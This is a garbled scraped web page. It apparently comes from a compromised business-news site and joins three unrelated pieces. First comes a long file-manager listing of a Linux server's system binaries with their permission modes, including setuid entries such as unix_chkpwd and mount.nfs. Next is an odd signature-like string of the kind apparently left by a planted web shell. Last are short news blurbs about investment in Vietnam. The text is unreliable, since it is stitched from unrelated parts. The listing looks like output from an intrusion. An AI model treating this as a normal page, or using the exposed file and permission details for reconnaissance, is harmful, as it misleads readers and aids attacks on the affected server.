mkfs.bfs File 26.1 KB 0755
mkfs.btrfs File 332.27 KB 0755
mkfs.cramfs File 34.11 KB 0755
mkfs.ext2 File 120.23 KB 0755
mkfs.ext3 File 120.23 KB 0755
mkfs.ext4 File 120.23 KB 0755
mkfs.fat File 27.06 KB 0755
mkfs.minix File 94.19 KB 0755
mkfs.msdos File 27.06 KB 0755
mkfs.reiserfs File 23.04 KB 0755
mkfs.vfat File 27.06 KB 0755
mkfs.xfs File 423.13 KB 0755
mkhomedir_helper File 18.45 KB 0755
mkill File 39.71 KB 0755
mkinitrd File 12.84 KB 0755
mkinitrd_setup File 18 B 0755
mkreiserfs File 23.04 KB 0755
mkswap File 94.18 KB 0755
modinfo File 236.71 KB 0755
modprobe File 236.71 KB 0755
mount.cifs File 38.87 KB 0755
mount.crypt File 556 B 0755
mount.crypt_LUKS File 556 B 0755
mount.crypto_LUKS File 556 B 0755
mount.fuse File 10.32 KB 0755
mount.nfs File 112.29 KB 4755
mount.nfs4 File 112.29 KB 4755
mount.vmhgfs File 42.82 KB 0755
mpathpersist File 27 KB 0755
multipath File 30.09 KB 0755
multipathd File 114.15 KB 0755
nameif File 14.63 KB 0755
netconfig File 17.87 KB 0755
nfsdcltrack File 23 KB 0755
nologin File 10.09 KB 0755
osd_login File 2.55 KB 0755
pam_tally2 File 14.48 KB 0755
pam_timestamp_check File 10.42 KB 0755
pbl File 7.33 KB 0755
pidof File 22.66 KB 0755
pidofproc File 39.65 KB 0755
pivot_root File 10.1 KB 0755
plipconfig File 10.33 KB 0755
pmap_set2 File 6.09 KB 0755
poweroff File 692.05 KB 0755
purge-kernels File 10.28 KB 0755
pvchange File 2.07 MB 0555
pvck File 2.07 MB 0555
pvcreate File 2.07 MB 0555
pvdisplay File 2.07 MB 0555
pvmove File 2.07 MB 0555
pvremove File 2.07 MB 0555
pvresize File 2.07 MB 0555
pvs File 2.07 MB 0555
pvscan File 2.07 MB 0555
rarp File 24.77 KB 0755
raw File 14.09 KB 0755
rcSuSEfirewall2 File 5.28 KB 0755
rcipmi File 5.28 KB 0755
rcnetwork File 5.28 KB 0755
rcsyslog File 411 B 0755
reboot File 692.05 KB 0755
refresh_initrd File 1.08 KB 0755
regdbdump File 14.34 KB 0755
reiserfsck File 164.47 KB 0755
reiserfstune File 23.25 KB 0755
request-key File 18.48 KB 0755
resize2fs File 55.39 KB 0755
resize_reiserfs File 18.61 KB 0755
restorecon File 26.73 KB 0755
rmmod File 236.71 KB 0755
rmt File 34.83 KB 0755
route File 52.34 KB 0755
rpcbind File 50.34 KB 0755
rpcinfo File 26.26 KB 0755
rsyslogd File 602.45 KB 0755
runlevel File 692.05 KB 0755
rvmtab File 35.62 KB 0755
service File 5.28 KB 0755
set_polkit_default_privs File 2.62 KB 0755
setconsole File 14.53 KB 0744
setfiles File 26.73 KB 0755
setpci File 22.5 KB 0755
sfdisk File 122.17 KB 0755
showconsole File 14.53 KB 0744
shutdown File 692.05 KB 0755
slattach File 32.86 KB 0755
smart_agetty File 2.03 KB 0755
start_daemon File 55.96 KB 0755
startpar File 34.96 KB 0755
startproc File 55.96 KB 0755
supportconfig File 188.32 KB 0544
swaplabel File 14.09 KB 0755
swapoff File 18.09 KB 0755
swapon File 46.34 KB 0755
switch_root File 14.1 KB 0755
sysctl File 22.56 KB 0755
telinit File 692.05 KB 0755
tracepath File 14.04 KB 0755
tracepath6 File 14.04 KB 0755
tune2fs File 99.89 KB 0755
tunefs.reiserfs File 23.25 KB 0755
udevadm File 474.44 KB 0755
udevd File 482.48 KB 0755
umount.crypt File 556 B 0755
umount.crypt_LUKS File 556 B 0755
umount.crypto_LUKS File 556 B 0755
umount.nfs File 112.29 KB 4755
umount.nfs4 File 112.29 KB 4755
unix_chkpwd File 34.78 KB 4755
unix_update File 34.73 KB 0700
update-bootloader File 7.33 KB 0755
update-pciids File 1.87 KB 0755
vconfig File 14.31 KB 0755
vgcfgbackup File 2.07 MB 0555
vgcfgrestore File 2.07 MB 0555
vgchange File 2.07 MB 0555
vgck File 2.07 MB 0555
vgconvert File 2.07 MB 0555
vgcreate File 2.07 MB 0555
vgdisplay File 2.07 MB 0555
vgexport File 2.07 MB 0555
vgextend File 2.07 MB 0555
vgimport File 2.07 MB 0555
vgimportclone File 2.07 MB 0555
vgmerge File 2.07 MB 0555
vgmknodes File 2.07 MB 0555
vgreduce File 2.07 MB 0555
vgremove File 2.07 MB 0555
vgrename File 2.07 MB 0555
vgs File 2.07 MB 0555
vgscan File 2.07 MB 0555
vgsplit File 2.07 MB 0555
vhangup File 10.38 KB 0755
wipefs File 38.1 KB 0755
wiper.sh File 27.43 KB 0755
xfs_repair File 624.25 KB 0755
yast File 12.4 KB 0755
yast2 File 12.4 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – Seiko Business Matching
January 29, 2024
January 11, 2024
Denmark-based toymaker LEGO is on schedule to begin production at its $1.3 billion factory in Binh Duong this year. The information was revealed at a meeting […]
January 11, 2024
Two companies from Singapore and Taiwan are looking to invest in two solar energy ventures in the central province of Quang Tri. On January 3, Quang […]
January 5, 2024
VGP – A stable macro outlook and business environment, and potential economic growth contribute to Viet Nam’s attractive story to foreign investors, said Country Head of […]